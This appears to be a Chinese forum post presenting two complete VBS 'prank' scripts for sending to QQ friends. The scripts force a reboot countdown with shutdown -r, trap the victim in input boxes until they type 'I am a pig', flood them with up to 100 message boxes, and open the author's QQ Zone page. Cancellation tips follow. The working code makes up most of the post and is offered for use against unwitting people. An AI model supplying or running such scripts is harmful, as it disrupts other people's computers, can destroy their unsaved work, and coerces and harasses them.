注册
登录
| 关键词： msgbox shutdown 4096 脚本 wscript 如果 exe chr 64 输入 |
测试环境：Windows 2003 系统 大家好 我是Vanlisa QQ137841986，今天给大家带来两个整人的VBS脚本 希望大家喜欢，VBS脚本大家都知道吧 。 第一个是定时关机的，如果把他发给你的QQ好友 他不懂的话 如果不输入我是猪 电脑就会在你设定的时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。 我们来看下这个脚本 -------------------------------------------------------------------------------- on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" -------------------------------------------------------------------------------- 新建一个记事本 把上面的代码复制进去 另存为VBS格式的就可以了,cmd.exe /c shutdown -r -t 180 -c,这里的数字可以修改关机时间 180秒,这些文字也可以自设. 这个脚本启用cmd 里的关机程序,如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除,但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK了,这时就完全解除这个脚本了. ------------------------------------------------------------------------------------------- 下面看第二个整人的脚本 ------------------------------------------------------------------------------------------- set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 msgbox"最后问个问题，我是不是大好人！",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub -------------------------------------------------------------------------------- ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 这段代码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i=1 to 100 从1到100,可以改成 20 其他的数字。 解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe这个进程就好了。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
